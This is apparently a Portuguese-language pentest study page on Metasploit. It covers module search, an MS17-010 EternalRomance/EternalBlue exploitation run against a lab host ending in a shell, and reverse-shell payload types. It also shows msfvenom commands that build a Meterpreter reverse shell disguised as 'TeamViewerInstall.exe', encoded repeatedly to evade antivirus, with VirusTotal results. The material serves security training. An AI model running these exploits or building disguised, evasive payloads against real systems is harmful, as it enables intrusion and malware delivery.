> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/hacking-tools/exploitation/metasploit.md).

# Metasploit

## Metasploit:

{% hint style="info" %}
Metasploit é uma plataforma de teste de invasão de código aberto amplamente usada por profissionais de segurança de TI para avaliar a vulnerabilidade de sistemas de TI. Ela fornece um conjunto de ferramentas e recursos para descobrir, explorar e proteger vulnerabilidades de segurança em redes, sistemas operacionais, aplicações e outros componentes de TI. Em resumo, o Metasploit é uma estrutura abrangente para realizar testes de invasão e auditoria de segurança.
{% endhint %}

Por padrão, todos os arquivos principais relacionados ao Metasploit Framework podem ser encontrados `/usr/share/metasploit-framework`

## Fluxo de trabalho do Metasploit

1. Identifique o serviço exposto, a versão, a plataforma e a provável vulnerabilidade antes de selecionar um módulo.
2. Pesquise módulos por serviço, CVE, plataforma, tipo, classificação e nome; depois revise as informações e referências do módulo.
3. Configure as opções do alvo, as opções do payload, os endereços do listener e a seleção do alvo com a configuração confiável mais enxuta.
4. Execute verificações quando disponíveis, execute apenas módulos confirmados e preserve a saída do módulo para o relatório.
5. Gerencie sessões, workspaces, loot, credenciais, serviços e hosts por meio do banco de dados do Metasploit quando a avaliação crescer.

### **Módulos:**

Os módulos detalhados acima são divididos em categorias distintas neste arquivo. Vamos detalhá-los nas seções a seguir. Eles estão contidos nas pastas a seguir:<br>

<figure><img src="/files/9d22a690196b001ec71ca3654cf969c15636c1a4" alt=""><figcaption></figcaption></figure>

### **Plugins:**

Os plugins dão ao pentester mais flexibilidade quando usados `msfconsole`pois podem ser carregados facilmente manualmente ou automaticamente, conforme necessário, para fornecer funcionalidade adicional e automação durante nossa avaliação.

<div data-full-width="true"><figure><img src="/files/4b2297b2bae42b00ab65ee496968bf6bf18669ba" alt=""><figcaption></figcaption></figure></div>

### Cenários:

Funcionalidade do Meterpreter e outros scripts úteis.

<figure><img src="/files/cf68fb75de7c2a06ff74b93005e1faee53e9f503" alt="" width="471"><figcaption></figcaption></figure>

### **Ferramentas:**

Utilitários de linha de comando que podem ser chamados diretamente do `msfconsole`menu

<div data-full-width="true"><figure><img src="/files/6daad770492dfea0abb9edcb76de3daa4af885e0" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="/files/a639841a4e6e52b8d7ad532bade805d284f69725" alt=""><figcaption></figcaption></figure>

### Estrutura de engajamento do MSF

A estrutura de engajamento do MSF pode ser dividida em cinco categorias principais.

* Enumeração
* Preparação
* Exploração
* Escalonamento de privilégios
* Pós-exploração

{% hint style="info" %}
Essa divisão facilita para nós encontrar e selecionar recursos adequados do MSF de uma forma mais estruturada e trabalhar com eles de acordo. Cada uma dessas categorias tem diferentes subcategorias destinadas a propósitos específicos. Isso inclui, por exemplo, validação de serviços e pesquisa de vulnerabilidades.
{% endhint %}

<figure><img src="/files/7752e3accd2dfcd2cd1d67d8764592ebddf2811c" alt=""><figcaption></figcaption></figure>

## **Componentes**

### Pesquisar módulos:

#### Assim que estivermos no `msfconsole`, podemos selecionar em uma longa lista contendo todos os módulos disponíveis do Metasploit. Cada um deles está estruturado em pastas, que ficarão assim:

**Sintaxe:**

```bash
<Nº> <tipo>/<so>/<serviço>/<nome>
```

**Exemplo**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **Nº:**

O `Nº`a tag será exibida para selecionarmos o exploit que queremos posteriormente durante nossas buscas. Veremos `Nº`mais adiante como a tag pode ser útil para selecionar módulos específicos do Metasploit.

2. **Tipo:**

| Tipo:           | **Descrição**                                                                                                  |
| --------------- | -------------------------------------------------------------------------------------------------------------- |
| `Auxiliar`      | Recursos de varredura, fuzzing, detecção e administração. Fornece suporte e funcionalidade extra.              |
| `Codificadores` | Garantem que os payloads permaneçam íntegros até chegarem ao destino.                                          |
| `Exploits`      | Módulos que exploram uma vulnerabilidade para entregar o payload.                                              |
| `NOPs`          | (Código de não operação) Mantêm os tamanhos dos payloads consistentes entre tentativas de exploração.          |
| `Payloads`      | O código é executado remotamente e retorna para a máquina do atacante para estabelecer uma conexão ou shell.   |
| `Plugins`       | Scripts adicionais podem ser integrados em uma `msfconsole` avaliação e coexistir.                             |
| `Pós`           | Ampla gama de módulos para coletar informações, pivotar mais a fundo e tarefas relacionadas de pós-exploração. |

3. **SO:**

O `SO`a tag especifica o sistema operacional e a arquitetura para os quais o módulo foi criado. Naturalmente, sistemas operacionais diferentes exigem códigos diferentes para serem executados e alcançar os resultados desejados 4. **Serviço:**

O `Serviço` a tag se refere ao serviço vulnerável em execução na máquina-alvo. Para alguns módulos, como `auxiliar`  ou `pós`, essa tag pode se referir a uma atividade mais geral como `coleta`, referindo-se, por exemplo, à coleta de credenciais. 5. **Nome:**

Por fim, a `Nome`tag explica a ação real que pode ser executada usando este módulo criado para uma finalidade específica.

**MSF - Função de busca**

Por exemplo, podemos tentar encontrar o `EternalRomance`exploit para sistemas operacionais Windows mais antigos. Pode ser assim:

`search eternalromance`

<div data-full-width="true"><figure><img src="/files/b132c9384c9abd21f23f601e978ac1bc3551a645" alt=""><figcaption></figcaption></figure></div>

### **Busca específica:**

Também podemos tornar nossa busca um pouco mais ampla e reduzi-la a uma única categoria de serviços. Por exemplo, para CVE, poderíamos especificar o ano (`cve:<year>`), plataforma Windows (`platform:<os>`), o tipo de módulo que queremos encontrar (`type:<auxiliary/exploit/post>`), a classificação de confiabilidade (`rank:<rank>`), e o nome da busca (`<pattern>`). Isso reduziria nossos resultados aos que correspondem a tudo o que foi listado acima.

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="/files/23c0168c745d3aff7aff246a765f3c351649f88c" alt=""><figcaption></figcaption></figure></div>

### Usando módulos:

Para selecionar nosso primeiro módulo, primeiro precisamos encontrar um. Vamos assumir que temos um alvo executando uma versão do SMB vulnerável aos exploits EternalRomance (MS17/\_010). Descobrimos que a porta 445 do servidor SMB está aberta ao escanear o alvo.

**Buscando MS17/\_010**

`search ms17_010`

<div data-full-width="true"><figure><img src="/files/83aa0001e36d23372088cbd40effc46ecc46561e" alt=""><figcaption></figcaption></figure></div>

**MSF - Selecionar um módulo**

Para usar um módulo no Metasploit, primeiro insira o `use` comando seguido do número do módulo desejado, depois use o `options` comando para ver os detalhes e as configurações disponíveis para esse módulo.

```bash
Módulos correspondentes
================

   #  Nome                                  Data de divulgação  Classificação  Verificação  Descrição
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal        Yes    Execução remota de código SMB Windows MS17-010 EternalRomance/EternalSynergy/EternalChampion
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal        No     Execução remota de comando SMB Windows MS17-010 EternalRomance/EternalSynergy/EternalChampion

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

Opções do módulo (exploit/windows/smb/ms17_010_psexec):

   Nome                  Configuração atual                  Obrigatório  Descrição
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                               yes       Mostrar informações extras de rastreamento de depuração
   LEAKATTEMPTS          99                                  yes       Quantas vezes tentar vazar a transação
   NAMEDPIPE                                                  no        Um pipe nomeado ao qual pode ser conectado (deixe em branco para automático)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       Lista de pipes nomeados a verificar
                         rdlists/named_pipes.txt
   RHOSTS                                                     yes       O(s) host(s)-alvo, veja https://github.com/rapid7/metasploit-framework
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                yes       A porta de destino (TCP)
   SERVICE_DESCRIPTION                                        no        Descrição do serviço a ser usada no alvo para uma listagem mais agradável
   SERVICE_DISPLAY_NAME                                       no        O nome de exibição do serviço
   SERVICE_NAME                                               no        O nome do serviço
   SHARE                 ADMIN$                             yes       O compartilhamento ao qual se conectar, pode ser um compartilhamento administrativo (ADMIN$,C$,...) ou um no
                                                                            compartilhamento normal de pasta com leitura/gravação
   SMBDomain             .                                  no        O domínio Windows a ser usado para autenticação
   SMBPass                                                    no        A senha para o nome de usuário especificado
   SMBUser                                                    no        O nome de usuário para autenticação

Opções do payload (windows/meterpreter/reverse_tcp):

   Nome      Configuração atual  Obrigatório  Descrição
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Técnica de saída (Aceitas: '', seh, thread, process, none)
   LHOST                      yes       O endereço de escuta (uma interface pode ser especificada)
   LPORT     4444             yes       A porta de escuta

Alvo do exploit:

   Id  Nome
   --  ----
   0   Automático
```

**Informações do módulo**

Podemos usar o `info`comando após selecionar o módulo, se quisermos saber mais sobre o módulo. Isso nos dará uma série de informações que podem ser importantes para nós.

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       Nome: Execução remota de código SMB Windows MS17-010 EternalRomance/EternalSynergy/EternalChampion
     Módulo: exploit/windows/smb/ms17_010_psexec
   Plataforma: Windows
       Arquitetura: x86, x64
 Privilegiado: Não
    Licença: Licença do Metasploit Framework (BSD)
       Classificação: Normal
  Divulgado: 2017-03-14

Fornecido por:
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

Alvos disponíveis:
  Id  Nome
  --  ----
  0   Automático
  1   PowerShell
  2   Upload nativo
  3   Upload MOF

Verificação suportada:
  Sim

Opções básicas:
  Nome                  Configuração atual                  Obrigatório  Descrição
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                               yes       Mostrar informações extras de rastreamento de depuração
  LEAKATTEMPTS          99                                  yes       Quantas vezes tentar vazar a transação
  NAMEDPIPE                                                  no        Um pipe nomeado ao qual pode ser conectado (deixe em branco para automático)
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  yes       Lista de pipes nomeados a verificar
                        rdlists/named_pipes.txt
  RHOSTS                                                     yes       O(s) host(s)-alvo, veja https://github.com/rapid7/metasploit-framework/
                                                                           wiki/Using-Metasploit
  RPORT                 445                                yes       A porta de destino (TCP)
  SERVICE_DESCRIPTION                                        no        Descrição do serviço a ser usada no alvo para uma listagem mais agradável
  SERVICE_DISPLAY_NAME                                       no        O nome de exibição do serviço
  SERVICE_NAME                                               no        O nome do serviço
  SHARE                 ADMIN$                             yes       O compartilhamento ao qual se conectar, pode ser um compartilhamento administrativo (ADMIN$,C$,...) ou um no
                                                                           compartilhamento normal de pasta com leitura/gravação
  SMBDomain             .                                  no        O domínio Windows a ser usado para autenticação
  SMBPass                                                    no        A senha para o nome de usuário especificado
  SMBUser                                                    no        O nome de usuário para autenticação

Informações do payload:
  Espaço: 3072

Descrição:
  Este módulo irá explorar o SMB com vulnerabilidades em MS17-010 para
  alcançar um primitivo write-what-where. Isso então será usado para
  substituir as informações da sessão de conexão com uma sessão de
  Administrador. A partir daí, o código normal do payload psexec
  é executado. Explora uma confusão de tipo entre as solicitações Transaction e
  WriteAndX e uma condição de corrida nas solicitações Transaction, como
  visto nos exploits EternalRomance, EternalChampion e EternalSynergy.
  Essa cadeia de exploit é mais confiável do que o exploit EternalBlue,
  mas requer um pipe nomeado.

Referências:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

Também conhecido como:
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**Especificação do alvo**

Assim que estivermos confiantes de que o módulo selecionado é o correto para o nosso propósito, precisamos definir algumas especificações para personalizar o módulo e usá-lo com sucesso em nosso host-alvo, como definir o alvo ( `RHOST` ou `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

Além disso, há a `setg` opção, que define as opções selecionadas por nós como permanentes até o programa ser reiniciado.

<figure><img src="/files/9684f2b3cc36b230a58cc65435b7278f56403b26" alt=""><figcaption></figcaption></figure>

**Executando exploits**

Assim que tudo estiver configurado e pronto para uso, podemos prosseguir para lançar o ataque. Comando: `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Handler TCP reverso iniciado em 10.10.14.15:4444
[*] 10.10.10.40:445 - Usando auxiliary/scanner/smb/smb_ms17_010 como verificação
[+] 10.10.10.40:445       - O host provavelmente é VULNERÁVEL ao MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - 1 de 1 hosts verificados (100% concluído)
[*] 10.10.10.40:445 - Conectando-se ao alvo para exploração.
[+] 10.10.10.40:445 - Conexão estabelecida para exploração.
[+] 10.10.10.40:445 - SO-alvo selecionado válido para o SO indicado pela resposta SMB
[*] 10.10.10.40:445 - Despejo bruto do buffer CORE (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Arquitetura-alvo selecionada válida para a arquitetura indicada pela resposta DCE/RPC
[*] 10.10.10.40:445 - Tentando o exploit com 12 Groom Allocations.
[*] 10.10.10.40:445 - Enviando todos os fragmentos, exceto o último, do pacote de exploit
[*] 10.10.10.40:445 - Iniciando o grooming do pool não paginado
[+] 10.10.10.40:445 - Enviando buffers SMBv2
[+] 10.10.10.40:445 - Fechando a conexão SMBv1, criando um espaço livre adjacente ao buffer SMBv2.
[*] 10.10.10.40:445 - Enviando os buffers finais SMBv2.
[*] 10.10.10.40:445 - Enviando o último fragmento do pacote de exploit!
[*] 10.10.10.40:445 - Recebendo resposta do pacote de exploit
[+] 10.10.10.40:445 - ETERNALBLUE overwrite concluído com sucesso (0xC000000D)!
[*] 10.10.10.40:445 - Enviando egg para a conexão corrompida.
[*] 10.10.10.40:445 - Acionando a liberação do buffer corrompido.
[*] Sessão de shell de comando 1 aberta (10.10.14.15:4444 -> 10.10.10.40:49158) em 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## Alvos

### **Exibir alvos:**

O `show targets`comando emitido em uma visualização de módulo de exploit exibirá todos os alvos vulneráveis disponíveis para esse exploit específico. Se você deixar a seleção em `Automático`o msfconsole saberá realizar uma descoberta de serviço no alvo dado antes de lançar um ataque bem-sucedido.

<figure><img src="/files/d75a52bf085fba24d8cc112f55f5a6f069c12a55" alt=""><figcaption></figcaption></figure>

No entanto, se soubermos quais versões estão em execução no nosso alvo, podemos usar o `set target <nº. do índice>`comando para escolher um alvo da lista.

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6
```

### Payloads:

{% hint style="info" %}
Em `payload` No Metasploit, um módulo ajuda o módulo de exploit a retornar (geralmente) um `shell` ao atacante. Os payloads são enviados com o exploit em si para contornar os procedimentos padrão do serviço vulnerável (função do exploit) e, então, executados no sistema operacional alvo para normalmente retornar uma conexão reversa ao atacante e cumprir a função do payload.
{% endhint %}

Existem três tipos diferentes de módulos de payload na estrutura do Metasploit: Singles, Stagers e Stages.

1. **Payloads únicos** :

> Um payload simples contém todo o código necessário para a exploração e execução em um único payload autônomo. Isso os torna mais estáveis, porque há apenas um elemento para executar. No entanto, eles podem ser limitados pelo tamanho, pois alguns ataques não suportam payloads muito grandes. Eles são ideais para ações imediatas, como adicionar um usuário ou iniciar um processo no alvo.

2. **Payloads Stagers:**

> Os payloads Stager funcionam com payloads Stage dividindo a carga em vários estágios. Um stager fica no sistema do atacante e inicia a conexão de rede com o alvo quando o stage é executado na máquina remota. Eles são projetados para serem pequenos e confiáveis, facilitando o estabelecimento de conexões. Os stagers do Windows também estão disponíveis nas versões "NX" (para compatibilidade com a proteção DEP) e "NO-NX", sendo a NX mais pesada, mas adequada para sistemas modernos.

3. **Payloads Stage**:

> Os payloads de stage são componentes enviados por stagers para funcionalidade avançada e sem limitações de tamanho. Eles são usados para cargas complexas como Meterpreter ou injeção VNC. Para minimizar erros, os stages usam stagers intermediários para garantir a estabilidade do envio. Eles são particularmente adequados para ataques em vários estágios que exigem um fluxo de dados confiável e sustentado.

### Payloads em estágios:

**payloads em estágios**

Como usuários do Metasploit, vamos encontrá-los sob os nomes comuns `reverse_tcp`, `reverse_https`, e `bind_tcp`. Por exemplo, sob o `show payloads`comando, você pode procurar payloads que se pareçam com o seguinte:

<figure><img src="/files/b6cf60876ca6e132e9d840d3b5e52d3a8cddb556" alt=""><figcaption></figcaption></figure>

### **Payloads do Meterpreter:**

`Meterpreter` é um payload avançado que usa injeção de DLL para estabelecer uma conexão estável e persistente, inteiramente em memória, tornando-o difícil de detectar. Ele permite carregar scripts e plugins dinamicamente. Depois de iniciado, ele abre uma sessão que oferece comandos específicos para controlar o sistema-alvo: `captura de teclas, recuperação de senhas, escuta do microfone e muito mais.`

### Buscando payloads:

Para selecionar nosso primeiro payload, precisamos saber o que queremos fazer na máquina-alvo. Por exemplo, se estivermos buscando persistência de acesso, provavelmente vamos querer selecionar um payload Meterpreter.

Ao percorrer a lista acima, encontramos a seção que contém `Payloads do Meterpreter para Windows(x64)`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                manual  No     Windows Meterpreter (injeção reflexiva x64), stager TCP bind IPv6 do Windows x64
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           manual  No     Windows Meterpreter (injeção reflexiva x64), stager TCP bind IPv6 do Windows x64 com suporte a UUID
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              manual  No     Windows Meterpreter (injeção reflexiva x64), stager de pipe nomeado bind do Windows x64
   518  windows/x64/meterpreter/bind_tcp                                     manual  No     Windows Meterpreter (injeção reflexiva x64), stager TCP bind do Windows x64
   519  windows/x64/meterpreter/bind_tcp_rc4                                 manual  No     Windows Meterpreter (injeção reflexiva x64), stager TCP bind (criptografia de estágio RC4, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                                manual  No     Windows Meterpreter (injeção reflexiva x64), stager TCP bind com suporte a UUID (Windows x64)
   521  windows/x64/meterpreter/reverse_http                                 manual  No     Windows Meterpreter (injeção reflexiva x64), stager HTTP reverso do Windows x64 (wininet)
   522  windows/x64/meterpreter/reverse_https                                manual  No     Windows Meterpreter (injeção reflexiva x64), stager HTTPS reverso do Windows x64 (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                           manual  No     Windows Meterpreter (injeção reflexiva x64), stager de pipe nomeado reverso (SMB) do Windows x64
   524  windows/x64/meterpreter/reverse_tcp                                  manual  No     Windows Meterpreter (injeção reflexiva x64), stager TCP reverso do Windows x64
   525  windows/x64/meterpreter/reverse_tcp_rc4                              manual  No     Windows Meterpreter (injeção reflexiva x64), stager TCP reverso (criptografia de estágio RC4, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                             manual  No     Windows Meterpreter (injeção reflexiva x64), stager TCP reverso com suporte a UUID (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                              manual  No     Windows Meterpreter (injeção reflexiva x64), stager HTTP reverso do Windows x64 (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                             manual  No     Windows Meterpreter (injeção reflexiva x64), stager HTTPS reverso do Windows x64 (winhttp)
   529  windows/x64/meterpreter_bind_named_pipe                              manual  No     Shell do Meterpreter do Windows, pipe nomeado bind inline (x64)
   530  windows/x64/meterpreter_bind_tcp                                     manual  No     Shell do Meterpreter do Windows, TCP bind inline (x64)
   531  windows/x64/meterpreter_reverse_http                                 manual  No     Shell do Meterpreter do Windows, HTTP reverso inline (x64)
   532  windows/x64/meterpreter_reverse_https                                manual  No     Shell do Meterpreter do Windows, HTTPS reverso inline (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             manual  No     Shell do Meterpreter do Windows, TCP reverso inline (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp                                  manual  No     Shell do Meterpreter do Windows, TCP reverso inline x64
</code></pre>

### **Buscando um Payload Específico:**

Também podemos usar `grep`para filtrar termos específicos. Isso aceleraria a busca e, portanto, nossa seleção.

```bash
grep meterpreter show payloads
```

<figure><img src="/files/46a03d3cf726b0fbbcf67dc5a8d028456846d6b8" alt=""><figcaption></figcaption></figure>

Agora podemos adicionar outro `grep`comando após o primeiro e pesquisar por `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="/files/1bd2f65d35a479f882e5e1e3aa858c55adb93620" alt=""><figcaption></figcaption></figure>

### **Selecionar payload:**

Usamos `set payload <nº.>`somente depois de selecionar primeiro um módulo de Exploit.

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### Usando payloads:

Para a parte do Exploit, precisaremos definir os seguintes elementos:

| **Parâmetro** | **Descrição**                                 |
| ------------- | --------------------------------------------- |
| `RHOSTS`      | O endereço IP do host remoto, a máquina-alvo. |
| `RPORT`       | A porta do host remoto.                       |

Para a parte do payload, precisaremos definir os seguintes elementos:

| **Parâmetro** | **Descrição**                                                                    |
| ------------- | -------------------------------------------------------------------------------- |
| `LHOST`       | O endereço IP do host, a máquina do atacante.                                    |
| `LPORT`       | Normalmente não precisa de modificação; verifique se a porta já não está em uso. |

### Tipos de payload:

| **Carga útil**                    | **Descrição**                                                                              |
| --------------------------------- | ------------------------------------------------------------------------------------------ |
| `generic/custom`                  | Listener genérico de uso múltiplo                                                          |
| `generic/shell_bind_tcp`          | Listener genérico de uso múltiplo, shell normal, conexão TCP bind                          |
| `generic/shell_reverse_tcp`       | Listener genérico de uso múltiplo, shell normal, conexão TCP reversa                       |
| `windows/x64/exec`                | Executa um comando arbitrário (Windows x64)                                                |
| `windows/x64/loadlibrary`         | Carrega um caminho de biblioteca x64 arbitrário                                            |
| `windows/x64/messagebox`          | Gera uma caixa de diálogo por meio do MessageBox com título, texto e ícone personalizáveis |
| `windows/x64/shell_reverse_tcp`   | Shell normal, payload único, conexão TCP reversa                                           |
| `windows/x64/shell/reverse_tcp`   | Shell normal, stager mais stage, conexão TCP reversa                                       |
| `windows/x64/shell/bind_ipv6_tcp` | Shell normal, stager mais stage, stager de bind TCP IPv6                                   |
| `windows/x64/meterpreter/$`       | Payload Meterpreter mais as variantes acima                                                |
| `windows/x64/powershell/$`        | Sessões interativas do PowerShell mais as variantes acima                                  |
| `windows/x64/vncinject/$`         | Servidor VNC (injeção reflexiva) mais as variantes acima                                   |

## Codificadores

{% hint style="info" %}
Ao longo dos 15 anos em que o framework Metasploit existe, `Codificadores`ajudamos a tornar os payloads compatíveis com diferentes arquiteturas de processador, ao mesmo tempo em que contribuímos para a evasão de antivírus. `Codificadores`entra em ação com o papel de modificar o payload para ser executado em diferentes sistemas operacionais e arquiteturas. Essas arquiteturas incluem:
{% endhint %}

| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### Selecionando um encoder:

> Se quiséssemos criar nosso payload personalizado, poderíamos fazer isso por meio do `msfpayload`, mas teríamos que codificá-lo com base na arquitetura do sistema operacional de destino usando `msfencode`em seguida. Um canal pegaria a saída de um comando e a enviaria para o próximo, o que geraria um payload codificado, pronto para ser enviado e executado na máquina-alvo.

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="/files/611ce2e5b08dc05f2185e54de9d5b80635ef5f19" alt=""><figcaption></figcaption></figure>

### **Gerando payload - Sem codificação:**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

Agora devemos olhar para a primeira linha do `$buf`e ver como ela muda ao aplicar um encoder como `shikata_ga_nai`.

<figure><img src="/files/7410fdc71d124615b55618b15a87712a5f007a43" alt=""><figcaption></figcaption></figure>

### **Gerando payload - Com codificação:**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="/files/b660c5898871f0c98bf8d5bc458effe7978e856f" alt=""><figcaption></figcaption></figure>

### **Codificação Shikata Ga Nai:**

> Vamos pegar o exemplo acima como está, um exemplo hipotético. Se codificássemos um payload executável apenas uma vez com o SGN, ele muito provavelmente seria detectado pela maioria dos antivírus atuais. Vamos analisar isso por um momento. Pegando `msfvenom`, o índice do framework que lida com a geração de payloads e esquemas de codificação, temos a seguinte entrada:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/c17a904a3b0e84da352a664bb4fff6c9723dd1f8" alt="" width="563"><figcaption></figcaption></figure>

Isso gerará um payload no `exe`formato TeamViewerInstall.exe, que supostamente deve ser executado em processadores de arquitetura x86 para a plataforma Windows, com um payload de shell Meterpreter reverso oculto, codificado uma vez com o esquema Shikata Ga Nai. Vamos pegar o resultado e enviá-lo para o VirusTotal.

<figure><img src="/files/6782fc0522b96b9dd704be539996e9c38aba5433" alt=""><figcaption></figcaption></figure>

Uma opção melhor seria tentar executá-lo por várias iterações do mesmo esquema de codificação:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/6854e013e9cedd81fbde76e1ba2c995482198309" alt="" width="563"><figcaption></figcaption></figure>

Como podemos ver, isso ainda não é suficiente para evitar os antivírus. Há um grande número de produtos que ainda detectam o payload. Alternativamente, o Metasploit oferece uma ferramenta chamada `msf-virustotal`que podemos usar com uma chave de API para analisar nossos payloads. No entanto, isso exige um cadastro gratuito no VirusTotal.

### **VirusTotal:**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] Usando chave de API: <API key>
[*] Aguarde enquanto eu envio TeamViewerInstall.exe...
[*] VirusTotal: solicitação de varredura enfileirada com sucesso, volte mais tarde para o relatório
[*] Hash MD5 da amostra    : 4f54cc46e2f55be168cc6114b74a3130
[*] Hash SHA1 da amostra   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] Hash SHA256 da amostra : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] Link da análise: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] Solicitando o relatório...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Relatório de análise: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 Antivírus             Detectado  Versão                                                         Resultado                                                     Atualização
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 true      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  true      6.288                                                           Malicioso                                                  20220504
 AVG                   true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               true      1.2.0.108                                                       suspeito                                                  20220426
 Ad-Aware              true      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             true      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               false     0.3.0.5                                                                                                                    20190527
 Antiy-AVL             false     3.0                                                                                                                        20220505
 Arcabit               true      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Avira                 true      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 false     1.0.0.2                                                                                                                    20190318
 BitDefender           true      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      true      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  true      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
 CAT-QuickHeal         true      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   false     2.10.2019.1                                                                                                                20211026
 ClamAV                true      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
 Comodo                true      34592                                                           TrojWare.Win32.Rozena.A@4jwdqr                             20220505
 CrowdStrike           true      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               true      2.3.1.101                                                       Inseguro                                                   20220505
 Cynet                 true      4.0.0.27                                                        Malicioso (pontuação: 100)                                 20220505
